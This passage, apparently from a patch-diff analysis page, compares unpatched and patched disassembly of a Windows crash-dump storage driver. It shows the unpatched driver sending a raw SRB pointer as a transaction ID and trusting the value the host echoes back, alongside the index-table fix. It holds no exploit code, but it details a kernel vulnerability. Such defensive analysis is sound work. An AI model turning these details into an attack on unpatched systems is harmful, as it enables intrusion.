&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x0f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_fast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: hard cap (defense in depth)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... same SenseInfoBufferLength gate then memmove&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Untrusted pointer dereference&lt;/h3&gt;
&lt;p&gt;The unpatched send path puts the raw SRB pointer (&lt;code&gt;rbp&lt;/code&gt; = arg2) into the transaction-ID argument.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CrashVscSendSrbRequest&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00012E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00012ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_60&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00012F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SRB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transaction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00012F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00012FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001309&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the ISR the unpatched driver hands the host-returned value straight to the completion routine as the SRB pointer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CrashVscHwInterrupt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00011C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;echoed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transaction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00011CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_40&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00011CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00011D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CrashVscSrbCompletion&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SRB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patch Change:&lt;/strong&gt; &lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt; builds a &lt;code&gt;0x3e8&lt;/code&gt;-slot table at &lt;code&gt;adapter+0x18&lt;/code&gt;, stores the SRB pointer, and sends the slot index (&lt;code&gt;index = slot + 2&lt;/code&gt;) instead of the pointer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CrashVscSendSrbRequest&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001354&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000135A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001367&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3E8&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slots&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001371&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001375&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+rax*8+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SRB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00013B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;FIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; now validates the returned index, looks up the real pointer, and clears the slot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CrashVscHwInterrupt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001205&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;packet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001208&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;loc_1C0001292&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;fast&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C000121B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C000121F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001223&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="nx"&gt;E7h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3e7&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001229&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;loc_1C0001238&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C000122B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;look&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SRB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;table&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="nx"&gt;C0001230&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 